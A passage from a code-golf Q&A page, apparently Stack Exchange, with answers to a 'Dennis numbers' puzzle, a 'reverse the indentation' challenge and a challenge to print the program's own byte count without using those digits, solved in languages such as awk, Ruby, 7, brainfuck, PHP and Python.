++o; // increase order count } } } } return [a,o]; } ////// go() ``` ``` <input id=I value=774><button onclick="go()">-></button> <span id=O></span> ``` [Answer] # awk, 199 ``` {for(;++i&&d<$0;d+=o>0)for(o=j=_;j++<l=length(i);)for(k=j;k++<l;o+=v!=i&&+r~s){split(t=i,c,v=s=r=_);c[j]+=c[k]-(c[k]=c[j]);for(e in c){r=r c[e];s=s||c[e]?c[e]s:s;v=t?v t%10:v;t=int(t/10)}}print--i,o} ``` ## Structure ``` { for(;++i&&d<$0;d+=o>0) for(o=j=_;j++<l=length(i);) for(k=j;k++<l;o+=v!=i&&+r~s) { split(t=i,c,v=s=r=_); c[j]+=c[k]-(c[k]=c[j]); for(e in c) { r=r c[e]; s=s||c[e]?c[e]s:s; v=t?v t%10:v; t=int(t/10) } } print--i,o } ``` ## Usage Paste this to your console and replace the number after `echo`, if you want ``` echo 20 | awk '{for(;++i&&d<$0;d+=o>0)for(o=j=_;j++<l=length(i);)for(k=j;k++<l;o+=v!=i&&+r~s){split(t=i,c,v=s=r=_);c[j]+=c[k]-(c[k]=c[j]);for(e in c){r=r c[e];s=s||c[e]?c[e]s:s;v=t?v t%10:v;t=int(t/10)}}print--i,o}' ``` It gets slow at higher numbers ;) ## Ungolfed reusable version ``` { dennisFound=0 for(i=0; dennisFound<$0; ) { i++ order=0 for(j=0; j++<length(i); ) { for(k=j; k++<length(i); ) { split(i, digit, "") digit[j]+=digit[k]-(digit[k]=digit[j]) # swap digits tmp=i iRev=iFlip=iFlipRev="" for(e in digit) { if(tmp>0) # assemble reversed i iRev=iRev tmp%10 tmp = int( tmp/10 ) iFlip=iFlip digit[e] # assemble flipped i if(iFlipRev>0 || digit[e]>0) # assemble reversed flipped i iFlipRev=digit[e] iFlipRev # without leading zeros } if(iRev!=i && 0+iFlip==iFlipRev) order++ # i is not a palindrome, } # but flipped i is } if(order>0) dennisFound++ } print i, order } ``` [Answer] # Ruby, 156 ``` ->i{s=?9 (o=0;(a=0...s.size).map{|x|a.map{|y|j=s+'';j[x],j[y]=j[y],j[x];x>y&&j[/[^0].*/]==$&.reverse&&o+=1}} o<1||s==s.reverse||i-=1)while i>0&&s.next!;[s,o]} ``` Uses the Ruby feature where calling `"19".next!` returns `"20"` to avoid having to convert types back and forth; we just use a regex to ignore leading `0s`. Iterates over all pairs of string positions to check for palindromic switches. I originally wrote this a recursive function but it busts the stack. Output for 774 is `["12012", 3]` (removing the quotation marks would cost 4 more bytes but I think the spec allows them). [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), 34 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` ∞ʒÂÊ}ε©ā<2.Æε®DrèRyǝïÂQ}O‚}ʒθĀ}I<è ``` [Try it online](https://tio.run/##AUQAu/9vc2FiaWX//@KInsqSw4LDin3OtcKpxIE8Mi7Dhs61wq5EcsOoUnnHncOvw4JRfU/igJp9ypLOuMSAfUk8w6j//zc3NA) or [output the first \$n\$ Dennis numbers](https://tio.run/##AUMAvP9vc2FiaWX//@KInsqSw4LDin3OtcKpxIE8Mi7Dhs61wq5EcsOoUnnHncOvw4JRfU/igJp9ypLOuMSAfUnCo///MTAw). **Explanation:** ``` ∞ # Push an infinite positive list: [1,2,3,...] ʒ # Filter it by:  # Bifurcate the current number (short for Duplicate & Reverse Copy) Ê # Check that the reverse copy does NOT equal the number itself }ε # After we've filtered out all palindromes: map over the remaining numbers: © # Store it in variable `®` (without popping) ā # Push a list in the range [1, length] (without popping) < # Decrease each by 1 to make the range [0, length) 2.Æ # Get all possible pairs of this list ε # Map each pair of indices to: ®D # Push the number from variable `®` twice r # Reverse the stack order from [indices,nr,nr] to [nr,nr,indices] è # Get the digits of the number at these indices R # Reverse this pair y # Push the indices we're mapping over again ǝ # And insert the reversed digits back into the number at the indices ï # Cast it to an integer to remove leading 0s  # Bifurcate it (short for Duplicate & Reverse Copy) Q # Check that the reverse copy equals the number itself, # resulting in 1 if its a palindrome, and 0 if not }O # After the inner map: sum all truthy values together ‚ # And pair it with the number }ʒ # After the outer map: filter again: θ # Where the last value of the pair (the calculated order) Ā # Is not 0 }I # After the filter: push the input-integer < # Decrease it by 1 (because 05AB1E uses 0-based indexing) è # And get the pair at that index in the infinite list # (after which it is output implicitly as result) ``` [Answer] # JavaScript (ES6), 151 bytes ``` f=(n,x)=>(g=a=>(a=[...+a.join``+''])+''==a.reverse(k=0))(a=[...x+''])|a.map((p,i)=>a.map((q,j)=>k+=g(b=[...a],b[i]=q,b[j]=p)))|!k||--n?f(n,-~x):[x,k/2] ``` [Try it online!](https://tio.run/##LY7NDoIwEITvPsV6opuW@nMUVx@ENHHRQgBtEYwhEX113BgvszPJN5Nt@MnDua@7Rxrixc9zSSqYEemgKmJRptxaq9k2sQ6nk04ShyJEbHv/9P3gVUtrxD84/oCJ7Y07pTpTy9I/3E0jodVUqeLHsjNFXju6y2kcdYg4LdtpStNwLOWL9DPiLh9Nu9q6uYy9CkCwySDAnmC7FqM1wmsBcI5hiFdvr7GSHkgZMVu85y8 "JavaScript (Node.js) – Try It Online") [Answer] # [Perl 5](https://www.perl.org/) `-alp`, 148 bytes ``` $_=9;while(!$o||--$F[0]){$o=0;if(++$_ ne reverse){for$i(0..(@a=/./g)){map{@b=@a;@b[$i,$_]=@b[$_,$i];$o+=($t=1*join'',@b)eq reverse$t}$i..$#a}}}say$o ``` [Try it online!](https://tio.run/##NY7LTsMwFET39ytMe6UmJHHtlgBVZCkrdnxBFUUOcqmrNDaxA0Jpfh3TB8xqNnPOWNW3eUAjWEHmh8F5sjM9OQ6t17ZVxCvnHdEdMZ0i/dCBk9@z7C@z4rbwhjhlZS/9bUDepFMuYC02xddetyq6Q3M6ZRm@bFkVj1eb3kVJgjW5cNWn6p2Kx7MadcQojUoplnT5HsfjUdqxbEQpi7LZok6xrsSl1SnqqkCTiAi94PcHo7vFIi2bWH38E9FPqCnFuZym6fwcTQgcVrCGB8jhEZ7gGTbAGXAOfPVjrNemcyF7zSnjLGSytb8 "Perl 5 – Try It Online") Output is on two lines. First line is the order; second line is the number. ]
[Question] [ I've heard that your code can run faster if you indent it in reverse, so that the compiler can process it like a tree design pattern from the very top of the "branches" down. This helps because gravity will speed up the time it takes for your code to be compiled, and the data structure efficiency is improved. Here's an example, in Java scripting: ``` function fib(n) { var a = 1, b = 1; while (--n > 0) { var tmp = a; a = b; b += tmp; if (a === Infinity) { return "Error!"; } } return a; } ``` But for some reason Notepad doesn't have a setting to do this automatically, so I need a program to do it for me. # Description Submissions must take a code snippet as input, reverse the indentation, and output the resulting code. This is done by the following procedure: * Split the code up into lines. Each line will start with zero or more spaces (there will be no tabs). * Find all unique indentation levels in the code. For example, for the above example, this would be ``` 0 4 8 12 ``` * Reverse the order of this list of indentation levels, and map the reversed list to the original list. This is hard to explain in words, but for the example, it would look like ``` 0 — 12 4 — 8 8 — 4 12 — 0 ``` * Apply this mapping to the original code. In the example, a line with 0-space-indentation would become indented by 12 spaces, 4 spaces would become 8 spaces, etc. # Input / Output The input and output can be provided however you would like (STDIN/STDOUT, function parameter/return value, etc.); if your language does not support multiline input (or you just don't want to), you can use the `|` character to separate lines instead. The input will consist of only printable ASCII + newlines, and it will not contain empty lines. # Test cases Input: ``` function fib(n) { var a = 1, b = 1; while (--n > 0) { var tmp = a; a = b; b += tmp; if (a === Infinity) { return "Error!"; } } return a; } ``` Output: the example code above. Input: ``` a b c d e f g h ``` Output: ``` a b c d e f g h ``` Input: ``` 1 2 3 2 1 ``` Output: ``` 1 2 3 2 1 ``` Input: ``` foo ``` Output: ``` foo ``` [Answer] # Python 2 - ~~137~~ 131 bytes ``` i=raw_input().split('|') f=lambda s:len(s)-len(s.lstrip()) d=sorted(set(map(f,i))) for l in i:print' '*d[~d.index(f(l))]+l.lstrip() ``` Takes input with `|` instead of `\n`. **Explanation** The first three lines are fairly straightforward. Make a list of all the lines in the input, define a function that tells you how much leading whitespace a string has, and make a sorted list of values that function spits out for each line of input. The last line is way more fun. ``` l # string with the line f(l) # amount of leading whitespace d.index(f(l)) # where it is in list of whitespace amounts ~d.index(f(l)) # bitwise NOT (~n == -(n+1)) d[~d.index(f(l))] # index into the list (negative = from end) print' '*d[~d.index(f(l))] # print that many spaces... print' '*d[~d.index(f(l))]+l.lstrip() # plus everything after leading whitespace for l in i:print' '*d[~d.index(f(l))]+l.lstrip() # do the above for every line ``` [Answer] # CJam, ~~43 39 36~~ 35 bytes ``` qN/_{_Sm0=#}%___&$_W%er]z{~S*@+>N}% ``` ~~This looks toooo long. I am sure I am not *Optimizing* enough!~~ How it works: Basic idea is to split the input on newline, calculate the number of leading spaces in each line, sort and get unique numbers, copy that array and reverse the copy, transliterate the original in-order numbers with this two arrays and then finally form the final string using this information. The lengthiest part is to figure out how many leading spaces are there in each line as CJam does not have an easy way of doing it. Code expansion: ``` qN/_ "Split the string on newline and take copy"; {_Sm0=#}% "Map this code block on the copy"; _Sm "Copy the string and remove spaces from the copy"; 0= "Get first non space character"; # "Gets its index in original string"; ___ "Get 3 copies of the above array"; &$_W% "Get unique elements, sort, copy and reverse"; er "Transliterate unique sorted elements with"; "the unique reverse sorted in the copy"; ]z "Get array of [row, " original number of leading spaces, " required number of leading spaces]"; {~S*@+>N}% "For each above combination"; ~S* " unwrap and get leading space string"; @+ " prepend to the row"; > " remove original spaces"; N " put newline"; ``` And in the spirit of the question. A real expansion of the code: ``` qN/_ "Split the string on newline and take copy"; {_Sm0=#}% "Map this code block on the copy"; _Sm "Copy the string and remove spaces from the copy"; 0= "Get first non space character"; # "Gets its index in original string"; ___ "Get 3 copies of the above array"; &$_W% "Get unique elements, sort, copy and reverse"; er "Transliterate unique sorted elements with"; "the unique reverse sorted in the copy"; ]z "Get array of [row, " original number of leading spaces, " required number of leading spaces]"; {~S*@+>N}% "For each above combination"; ~S* " unwrap and get leading space string"; @+ " prepend to the row"; > " remove original spaces"; N " put newline"; ``` 7 bytes saved thanks to Martin and 1 byte thanks to Dennis [Try it online here](http://cjam.aditsu.net/) [Answer] # JavaScript, ES6, ~~113 103~~ 101 bytes ~~I am pretty sure this can be golfed at least a little further, but here goes.~~ Never would have thought that there will be a 101 bytes JS solution, beating Python! ``` f=a=>(b=c=[...Set(a.match(r=/^ */gm).sort())],c.map((x,i)=>b[x]=c.slice(~i)[0]),a.replace(r,x=>b[x])) ``` This creates a method named `f` which can be called with the input string. If you are in a latest Firefox, you have template strings and you can call the method like ``` f(`a b c d e f g h`) ``` Otherwise, you can also call it like ``` f("a\n\ b\n\ c\n\ d\n\ e\n\ f\n\ g\n\ h") ``` or, try the snippet below: ``` g=_=>O.textContent=f(D.value) f=a=>(b=c=[...Set(a.match(r=/^ */gm).sort())],c.map((x,i)=>b[x]=c.slice(~i)[0]),a.replace(r,x=>b[x])) ``` ``` <textarea id=D></textarea><button id=B onclick=g()>Inverse!</button> <pre id=O></pre> ``` [Answer] # Ruby, 63 bytes ``` ->s{l=s.scan(r=/^ */).uniq.sort;s.gsub r,l.zip(l.reverse).to_h} ``` This defines an unnamed function which takes and returns a string. You can call it by appending `["string here"]` or by assigning it to a variable, and then calling that variable. How it works: `s.scan(r=/^ */)` gives a list of all leading spaces and stores that regex in `r` for later use. `uniq` eliminates duplicates. `sort`... sorts. Now skip to the end, `l.zip(l.reverse)` gives an array of pairs we want to substitute. `to_h` turns that into a hash, interpreting the pairs as key-value pairs. Now `s.gsub` replaced all matches of the regex (all leading spaces) by using that hash as a look up table to find the replacement. [Answer] ## [Pyth](https://github.com/isaacg1/pyth) 39 ``` L-/bd/rb6dJcz\|KS{mydJFNJ+*d@_KxKyN>NyN ``` [Try it online.](http://isaacg.scripts.mit.edu/pyth/index.py) Uses the `|` delimiter option. [Answer] # [Japt](https://github.com/ETHproductions/japt) `-R`, 27 bytes ``` · mâ\S Vâ n Ëx2 iSpWg~WbVgE ``` [Try it online!](https://ethproductions.github.io/japt/?v=2.0a0&code=twpt4lxTClbiIG4Ky3gyIGlTcFdnfldiVmdF&input=LVIKJ2EKICBiCiAgYwpkCiAgIGUKICAgICAgICBmCiAgZwogICBoJw==) ### Unpacked & How it works ``` Input: U = multiline string qR Split by newline and implicit assign to U mâ\S m Map over U... â\S .search(/\S/); first index of non-whitespace char Implicit assign to V (V = array of indentations) Vâ n Take unique elements of V, sort, and implicit assign to W mDEF{Dx2 iSpWg~WbVgE mDEF{ Map over U... Dx2 Trim left iSp Indent by this many spaces... VgE Find the current indentation stored in V Wb Find its index on W Wg~ Take the opposite element on W -R Join with newline ``` ### How it *really* works ``` Input: U = multiline string qR Split by newline and implicit assign to U mâ\S m Map over U... â\S .search(/\S/); first index of non-whitespace char Implicit assign to V (V = array of indentations) Vâ n Take unique elements of V, sort, and implicit assign to W mDEF{Dx2 iSpWg~WbVgE mDEF{ Map over U... Dx2 Trim left iSp Indent by this many spaces... VgE Find the current indentation stored in V Wb Find its index on W Wg~ Take the opposite element on W -R Join with newline ``` [Answer] # Haskell, 116 ``` import Data.List f s|l<-map(span(==' '))$lines s=unlines[k++b|(a,b)<-l,(k,r)<-reverse>>=zip$sort$nub$map fst l,r==a] ``` [Answer] # Scala, ~~176~~171 ``` def g(n:String)={val a=n.split('|').map(a=>a.prefixLength(' '==)->a) (""/:a){case(s,(l,p))=>val b=a.unzip._1.distinct.sorted s+" "*b.reverse(b.indexOf(l))+p.drop(l)+'\n'}} ``` It will add an extra newline at the end. If I did not have to preserve spaces at the end of the line, I can get it to 167: ``` def t(n:String)={val a=n.split('|').map(a=>a.prefixLength(' '==)->a.trim) (""/:a){(s,l)=>val b=a.unzip._1.distinct.sorted s+" "*b.reverse(b.indexOf(l._1))+l._2+'\n'}} ``` Ungolfed: ``` def reverseIndent(inString: String): String = { val lines = inString.split('\n') val linesByPrefixLength = lines.map { line => line.prefixLength(char => char == ' ') -> line } val distinctSortedPrefixLengths = linesByPrefixLength.map(_._1).distinct.sorted val reversedPrefixes = distinctSortedPrefixLengths.reverse linesByPrefixLength.foldLeft("") { case (string, (prefixLength, line)) => val newPrefixLength = reversedPrefixes(distinctSortedPrefixLengths.indexOf(prefixLength)) val nextLinePrefix = " " * newPrefixLength string + nextLinePrefix + line.substring(prefixLength) + '\n' } } ``` [Answer] # [PowerShell](https://github.com/TryItOnline/TioSetup/wiki/Powershell), 112 bytes ``` $x=@($args|sls '(?m)^ *'-a|% m*|% v*|sort -u) [regex]::Replace($args,'(?m)^ *',{$x[-1-$x.IndexOf($args.Value)]}) ``` [Try it online!](https://tio.run/##lZNPb5swGMbv/hTPWjogg2pZb63Yctmhp0k77FK1E39egiUwmW1aqoTPntkQUGC5zBK2efz8jN8HeVe/kVQFleXRyRFhf3TaaOM5sdyqgyoVXO9b5b9g5Ybx4QbVynSvq4OqpUbY@OxJ0pba5/v7n7Qr45QGMpioYO@0T@E6dNrbR5FR@yMfHLe/4rIh/7nzjx1jG4@xwNu4bM3whQF3dlgzdxMYDejVu2HJqr51u27guv6JA/K6nvzDfFyLjZKYJ2WZ6UG261tuZlv7Vkzk0CzRI4YZNcsSs0jPFGcfyBuRal4L5DzxhI99D73GErFJdB0gscPDtNVbwUuCF4YCX/F59I/NcrraGSR@mC3YzZK5lOBTZM1zlefwjDmK8ChyLrh@X37DNkm6kQJX36Ws5Yer@RYdm89OZnOibpHVFObFEM6L@p8w/gnhrPh50ZeLvVjcsqhFEou4B5/9yz4OuDkdzEnrjAI41O4o1ZSZYzm/hxVJqim1ET6am9T7zvWQ/kxQr1@PwDVMdHVVkdDQBVcouSDoGhlX5k69Y/Ap1h3/Ag "PowerShell – Try It Online") Less golfed: ``` $xIdents=@($args|select-string '(?m)^ *'-AllMatches|% matches|% value|sort -unique) # get a sorted set of indentations [regex]::Replace($args,'(?m)^ *',{$xIdents[-1-$xIdents.IndexOf($args.Value)]}) # replace each indentation with opposite one ``` [Answer] ## PHP - 173 bytes The unoptimized code should be stored in the `$v` variable: ``` <?php $f='preg_replace';$f($p='#^ *#me','$i[]='.$s='strlen("$0")',$v);$a=$b=array_unique($i);sort($a);rsort($b);echo$f($p,'str_repeat(" ",array_combine($a,$b)['.$s.'])',$v); ``` Here is the ungolfed and commented version: ``` <?php // Get the level of indentation for each line $preg_replace = 'preg_replace'; $pattern = '#^ *#me'; $strlen = 'strlen("$0")'; $preg_replace($pattern, '$indentationLevelsOldList[] = '. $strlen, $value); // Create an array associating the old level of indentation with the new expected one $sortedArray = array_unique($indentationLevelsOldList); $reverseSortedArray = $sortedArray; sort($sortedArray); rsort($reverseSortedArray); $indentationLevelsNewList = array_combine($sortedArray, $reverseSortedArray); // Print the correctly indented code echo $preg_replace($pattern, 'str_repeat(" ", $indentationLevelsNewList['. $strlen .'])', $value); ``` I've probably never written something so dirty. I'm ashamed. [Answer] ## JavaScript, 351 ``` var i=0;var a=$("#i").html().split("\n");var b=[];for(;i<a.length;i++){j=a[i].match(/\s*/)[0];if(b.indexOf(j)<0){b.push(j);}}b.sort(function(a,b){return a - b;});var c=b.slice().reverse();var d="";for(i=0;i<a.length;i++){d+=a[i].replace(/\s*/,c[b.indexOf(a[i].match(/\s*/)[0])])+"\n";j=a[i].search(/\S/);if(b.indexOf(j)<0){b.push(j);}}$("#i").html(d); ``` Ungolfed version: ``` var i = 0; var a = $("#i").html().split("\n"); var b = []; for (; i < a.length; i++) { j = a[i].match(/\s*/)[0]; if (b.indexOf(j) < 0) { b.push(j); } } b.sort(function(a, b) { return a - b; }); var c = b.slice().reverse(); var d = ""; for (i = 0; i < a.length; i++) { d += a[i].replace(/\s*/, c[b.indexOf(a[i].match(/\s*/)[0])]) + "\n"; j = a[i].search(/\S/); if (b.indexOf(j) < 0) { b.push(j); } } $("#i").html(d); ``` ### Testing ``` var i=0;var a=$("#i").html().split("\n");var b=[];for(;i<a.length;i++){j=a[i].match(/\s*/)[0];if(b.indexOf(j)<0){b.push(j);}}b.sort(function(a,b){return a - b;});var c=b.slice().reverse();var d="";for(i=0;i<a.length;i++){d+=a[i].replace(/\s*/,c[b.indexOf(a[i].match(/\s*/)[0])])+"\n";j=a[i].search(/\S/);if(b.indexOf(j)<0){b.push(j);}}$("#i").html(d); ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <pre><code id="i"> function fib(n) { var a = 1, b = 1; while (--n > 0) { var tmp = a; a = b; b += tmp; if (a === Infinity) { return "Error!"; } } return a; } </code></pre> ``` ``` var i=0;var a=$("#i").html().split("\n");var b=[];for(;i<a.length;i++){j=a[i].match(/\s*/)[0];if(b.indexOf(j)<0){b.push(j);}}b.sort(function(a,b){return a - b;});var c=b.slice().reverse();var d="";for(i=0;i<a.length;i++){d+=a[i].replace(/\s*/,c[b.indexOf(a[i].match(/\s*/)[0])])+"\n";j=a[i].search(/\S/);if(b.indexOf(j)<0){b.push(j);}}$("#i").html(d); ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <pre><code id="i"> a b c d e f g h </code></pre> ``` ``` var i=0;var a=$("#i").html().split("\n");var b=[];for(;i<a.length;i++){j=a[i].match(/\s*/)[0];if(b.indexOf(j)<0){b.push(j);}}b.sort(function(a,b){return a - b;});var c=b.slice().reverse();var d="";for(i=0;i<a.length;i++){d+=a[i].replace(/\s*/,c[b.indexOf(a[i].match(/\s*/)[0])])+"\n";j=a[i].search(/\S/);if(b.indexOf(j)<0){b.push(j);}}$("#i").html(d); ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <pre><code id="i"> 1 2 3 2 1 </code></pre> ``` ``` var i=0;var a=$("#i").html().split("\n");var b=[];for(;i<a.length;i++){j=a[i].match(/\s*/)[0];if(b.indexOf(j)<0){b.push(j);}}b.sort(function(a,b){return a - b;});var c=b.slice().reverse();var d="";for(i=0;i<a.length;i++){d+=a[i].replace(/\s*/,c[b.indexOf(a[i].match(/\s*/)[0])])+"\n";j=a[i].search(/\S/);if(b.indexOf(j)<0){b.push(j);}}$("#i").html(d); ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <pre><code id="i"> foo </code></pre> ``` [Answer] # Perl 5, 112 111 + 1 for `-n` (`-E` is free) ``` @{$.[$.]}=/( *)(.*)/;++$_{$1}}{map$_{$_[$#_-$_]}=$_[$_],0..(@_=sort keys%_);say$_{$.[$_][0]}.$.[$_][1]for 0..$. ``` I'm sure it can be done in fewer strokes, but I don't see how at the moment. ]
[Question] [ **Challenge:** The concept is simple enough: write a full program to output its own code golf score! Output should only be the byte count of your program and a trailing `bytes`. **BUT WAIT**..... there is one restriction: * Your source code can not include any of the digits from your byte count * So if your score is `186 bytes`, your program can not contain the characters `1` , `6` , or `8` **Example Output:** ``` 315 bytes 27 Bytes 49 BYTES ``` **Additional Rules:** * Unnecessary characters, spaces, and newlines are forbidden in the source code, however trailing spaces and newlines are perfectly acceptable in output * There should be a single space between the number and `bytes` in the output * Letters are case insensitive * No self inspection or reading the source code * [standard loopholes](https://codegolf.meta.stackexchange.com/questions/1061/loopholes-that-are-forbidden-by-default) are disallowed * this is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so **Shortest code in bytes wins!** [Answer] # JavaScript, 19 bytes Octal was invented to serve two purposes: * setting file permissions in Linux * answering this challenge ``` alert(023+' bytes') ``` [Try it online!](https://tio.run/##y0osSyxOLsosKNHNy09J/Z@Yk1pUomCrkJyfV5yfk6qXk58OEdMwMDLWVldIqixJLVbX/P8fAA "JavaScript (Node.js) – Try It Online") [Answer] # [Perl 5](https://www.perl.org/), 16 bytes There are many other ways to get `16` but this one is mine ``` say afpbytes^PPP ``` [Try it online!](https://tio.run/##K0gtyjH9/784sVIhMa0gqbIktTguICDg//9/@QUlmfl5xf91fU31DA30DAE "Perl 5 – Try It Online") [Answer] # [7](https://esolangs.org/wiki/7), 23 characters, 9 bytes ``` 54340045141332401057403 ``` [Try it online!](https://tio.run/##BcEBEQAwDAIxSzCeq39lLLmtBIkaJw9ZPZTtAw "7 – Try It Online") This is a fairly hard challenge in a language that consists entirely of digits, but I managed it… This is just 9 bytes in 7's encoding. (Strictly speaking, it's 8⅜ bytes (23 × ⅜ − ¼ because the final two trailing 1 bits can be omitted), but for the first time, PPCG's requirement to round up to a whole number of bytes is actually an advantage because it means that the extra trailing 1 bits are necessary and thus not banned by the question.) A reversible hex dump: ``` 00000000: b1c0 2530 b6a0 22f8 1f ..%0..".. ``` The main challenge of writing this program in 7 was golfing it to under 10 bytes (as writing 7 without using `0` or `1` is pretty hard.) This uses the same structure as the standard "Hello world" program: ``` 5434004514133240105**7**403 5434004514133240105 commands 0-5 append literals to data space **7** start a new section of data space 403 another literal appended to data space {implicit: eval the last section as commands} **4** swap 1st and 2nd sections with an empty section between **6** reconstruct the commands that would create the 1st section **3** output (+ some other effects we don't care about) ``` In other words, we start by creating two sections of the data space; we have two literals, each of which pushes a sequence of commands there. The second section (they're pushed stack-style so first push = last pop) is a fairly arbitrary sequence of commands but is pushed using the command sequence `5434004514133240105` (thus producing the data sequence **`5434664574733246765`**; when discussing 7 in text, I normally use normal font for a command that pushes a literal, and bold for the corresponding resulting literal). The first section is pushed using the command sequence `403`, producing **`463`**. Then the first section is copied back to the program (an implicit behaviour of 7). The **`463`** is now composed of (bold) commands that do something immediately, rather than (non-bold) commands that just push literals. **`4`** rearranges the sections to get our "string literal" into the first section. Then **`0`** does the operation that 7 is most known for: taking a section of data space, and reconstructing the command sequence that's most likely to have created it. In the case where the original command sequence was all `0`-`5`, this is 100% accurate (unsurprisingly, as those commands purely push data and thus leave obvious evidence of what they did), and so we get our original sequence `5434004514133240105` back. Finally, **`3`** prints it. So the remaining thing to look at here is the encoding of the string. This has its own domain-specific language: ``` 5434004514133240105 5 change encoding: 6 bits per character 43 select character set: digits and common symbols 40 '9' 04 space 51 select character set: uppercase letters 4133240105 'B' 'Y' 'T' 'E' 'S' ``` (There's no "select character set: lowercase letters" in the "digits and common symbols" character set – you have to go via a different character set first – so I needed to use uppercase to golf this short enough to fit underneath the effective 10-byte limit.) [Answer] # [Canvas](https://github.com/dzaima/Canvas), 8 [bytes](https://github.com/dzaima/Canvas/blob/master/files/chartable.md) ``` 8 bytes+ ``` [Try it here!](https://dzaima.github.io/Canvas/?u=JXVGRjE4JTIwYnl0ZXMldUZGMEI_,v=1) A more interesting 20 byte solution: ``` bytecount.innerText# ``` [Try it here!](https://dzaima.github.io/Canvas/?u=Ynl0ZWNvdW50LmlubmVyVGV4dCV1RkYwMw__,v=1) [Answer] # [brainfuck](https://github.com/TryItOnline/brainfuck), 53 BYTES ``` +[[<+>->->++>----<<<]>-]>-.--.<<<+.<.<.-----.>+++.<-. ``` [Try it online!](https://tio.run/##SypKzMxLK03O/v9fOzraRttOFwi1gRQQ2NjYxNrpApGerq4ekKOtZwOEIBldPaAaIFdX7/9/AA "brainfuck – Try It Online") Another submission with capitalised `bytes`. Found with the help of the excellent [BF-crunch](https://github.com/primo-ppcg/BF-Crunch) helper by primo. [Answer] # PHP, 14 bytes ``` <?=7*2?> bytes ``` [Answer] # [Stax](https://github.com/tomtheisen/stax), 5 [bytes](https://github.com/tomtheisen/stax/blob/master/docs/packed.md#packed-stax) ``` ╗↑╞ô╝ ``` [Run and debug it](https://staxlang.xyz/#p=bb18c693bc&i=&a=1) Unpacked, it looks like this. Packed source mode makes this kind of trivial and uninteresting. ``` 5p print 5 with no line break `5l@ print the compressed string " bytes" ``` If you don't want to use packed source mode, `6^p`5l@` works for 7 bytes. [Answer] # [Python 3](https://docs.python.org/3/), ~~25~~ ~~24~~ 18 bytes ``` print(6*3,'bytes') ``` [Try it online!](https://tio.run/##K6gsycjPM/7/v6AoM69Ew0zLWEc9qbIktVhd8/9/AA "Python 3 – Try It Online") [Answer] # [PHP older than 7.2](https://secure.php.net/), 13 bytes Assumes default settings (E\_NOTICE warnings disabled) and PHP version older than 7.2. Needs to be decoded with `xxd -r` ``` 00000000: 3c3f 3d7e cecc df9d 868b 9a8c 3b <?=~........; ``` Or if you prefer Base64 ``` PD89fs7M352Gi5qMOw== ``` [Try it online!](https://tio.run/##S0oszvj/PymxONXMREE3RcHGxkYhwMXCMq3Y3NfY1Mg907TQ17/c1lahRqEgo@D/fwA "Bash – Try It Online") [Answer] # [Keg](https://esolangs.org/wiki/Keg), 6 bytes ``` bytes ``` Uses an unprintable character at the beginning to push 6 to the stack. Then when it gets printed at the end, a space is automatically added after the 6 due to it being an integer. [Try it Online!](https://tio.run/##y05N//@fLamyJLX4/38A) [Answer] # [Pyramid Scheme](https://github.com/ConorOBrien-Foxx/Pyramid-Scheme), ~~477~~ 440 BytEs ``` ^ ^ ^ ^ ^ ^ ^- / \ ^- / \ ^- / \ / \ /out\ / \ /out\ / \ /out\ /out\-----^ /out\-----^ /out\-----^ ^-----^ / \-----^ / \-----^ / \ -^ / \ /chr\ / \ /chr\ / \ /chr\ -^ /chr\-----^ /chr\-----^ /chr\-----^ /*\-----^ / \-----^ / \-----^ / \ ^---^ / \ /66 \ / \ /116\ / \ /115\ /8\ / \ /32 \----- /121\----- /69 \----- ---/55 \----- ----- ----- ----- ``` [Try it online!](https://tio.run/##jY7RCsIwDEXf8xV5FkropEX/JRRkDraHoUx98Otr07VVcIFdCD25TXN7fy@XebqaRz8O8xAjikKpTYZMBpGQUWGZEYturydrnIbyaURBY0g7VzM/1RiwElI/LqxxCpX9gjVrm@V3B94XHb4NkvfYEq31P@wY6MRrd@zKknRrO9vYn4sPqci5NpX1x1Ahxg8 "Pyramid Scheme – Try It Online") Outputs `440 BytEs` by multiplying 8 by 55. [Answer] # [R](https://www.r-project.org/), 16 bytes ``` cat(4*4,"bytes") ``` [Try it online!](https://tio.run/##K/r/PzmxRMNEy0RHKamyJLVYSfP/fwA "R – Try It Online") [Answer] # [dc](https://www.gnu.org/software/bc/manual/dc-1.05/html_mono/dc.html), ~~14~~ 11 bytes ``` [ bytes]Bnn ``` [Try it online!](https://tio.run/##S0n@/z9aIamyJLU41ikv7/9/AA "dc – Try It Online") -3 bytes by `@Cows quack` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 6 bytes ``` ₂¤“ÿ¡Ï ``` [Try it online!](https://tio.run/##MzBNTDJM/f//UVPToSWPGuYc3n9o4eH@//8B "05AB1E – Try It Online") --- ``` ₂ # [26] | Pushes 26 (many other alternatives). ¤ # [2, 6] | Split out tail. “ÿ¡Ï # ['6 bytes'] | ÿ = "Interpolate top of stack.", ¡Ï = "bytes" (compressed) ``` --- Alternatives for `₂¤` include: `5>`, `₁¤`, `3·` [Answer] # Bash, 21 bytes "Read your own source code" is clearly not the winner here, but no one else submitted one, so what the heck. ``` echo `wc -c<$0` bytes ``` [Try it online!](https://tio.run/##S0oszvj/PzU5I18hoTxZQTfZRsUgQSGpsiS1@P9/AA "Bash – Try It Online") [Answer] # PHP + HTML, 16 bytes ``` &#49;&#54; bytes ``` Yes, this is getting pretty close to loophole abuse, but I felt this needed to be posted. And the use of PHP means that this answer technically *is* written in a Turing-complete programming language. Of course, any other similar HTML templating language would work just as well. Live demo (without PHP): ``` &#49;&#54; bytes ``` [Answer] # [Whitespace](https://web.archive.org/web/20150618184706/http://compsoc.dur.ac.uk/whitespace/tutorial.php), 112 bytes Just because nobody's done it yet: ``` ``` [Try it online!](https://tio.run/##PYzBCcAwDAPf0hRarZRA8ysk0PFdyyHxQ5zE4e/ps433uluEJACZIigDPZmAhVX3iiPY2ELGQZHrmU2iOlk1L@IH "Whitespace – Try It Online") Prints " BYTES" in caps, since uppercase letters have shorter binary ASCII codes. The commands in the program, in my own made up visible notation, are: ``` Push 112 PrintNum Push 0 Push 0x53 Push 